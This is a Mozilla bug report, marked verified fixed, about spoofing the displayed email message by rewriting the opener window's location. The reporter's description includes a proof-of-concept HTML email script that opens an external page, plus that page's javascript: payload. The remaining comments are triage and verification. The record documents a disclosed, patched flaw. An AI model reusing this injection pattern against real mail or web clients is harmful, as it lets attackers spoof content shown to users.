23516 - Spoofing email messages

Status: VERIFIED FIXED

(Core :: Security, defect, P3)

Description

[joro]

It is possible to spoof email messages by manipulating the location object of
the currently displayed message. This is done by opening a window which does:
opener.location='javascript:s="<H1>Spoofed</H1>"'
The code that must be included in HTML message is:
-------------------------------------------
<SCRIPT>
a=window.open("ht"+"tp://www.nat.bg/~joro/mozilla/openlocation.html");
</SCRIPT>
-------------------------------------------

-----"http://www.nat.bg/~joro/mozilla/openlocation.html"------
<SCRIPT>
setTimeout("opener.location='javascript:s=\"<H1>Spoofed</H1>\"'; ",6000);
// It would be better to use setInterval(), but Mozilla crashes on my box in
this case
</SCRIPT>
--------------------------------------------------------------

Comment 1

[leger]

Bulk moving all Browser Security bugs to new Security: General component.  The 
previous Security component for Browser will be deleted.

Comment 2

[Jim Roskind]

Branch time for M15 has come... and so I'm moving this to M16 (Norris is out 
this week).

Comment 3

[Mitchell Stoltz (not reading bugmail)]

Bulk reassigning most of norris's bugs to mstoltz.

Comment 4

[Mitchell Stoltz (not reading bugmail)]

THis looks directly related to 37907. The fix is probably the same. I will
verify that the sameOrigin check is being done.

Comment 5

[leger]

Putting on [nsbeta2+] radar for beta2 fix.

Comment 6

[Paul Wyskoczka]

Changed QA contact to Cathy.

Comment 7

[Mitchell Stoltz (not reading bugmail)]

Attachment: Proposed Patch - Needs Review

Comment 8

[Mitchell Stoltz (not reading bugmail)]

argh...disregard that patch...posted to the wrong bug.

Comment 9

[cathy zhang]

it is not fixed yet. 
http://cathyz/bugs/23516.html
this page opens a window in another domain http://cathyz2/bugs/1.html, 
23516.html is spoofed by script in 1.html, same origin is not checked here I 
guess

Comment 10

[Mitchell Stoltz (not reading bugmail)]

Moving to M17. Not an M16 stopper.

Comment 11

[John Unruh]

Assigning QA to czhang

Comment 12

[Mitchell Stoltz (not reading bugmail)]

Marking Confidential as per jar. jtaylor is attempting to reproduce this bug.

Comment 13

[Mitchell Stoltz (not reading bugmail)]

I think this one is also dependent on 28443. jtaylor, can you confirm that this
one is fixed as of 7/6?

Comment 14

[John Taylor]

Looks fixed with 2000070608 build.

Comment 15

[Mitchell Stoltz (not reading bugmail)]

Fixed.

Comment 16

[cathy zhang]

verified, no spoofing

Comment 17

[Mitchell Stoltz (not reading bugmail)]

Opening fixed security bugs to the public.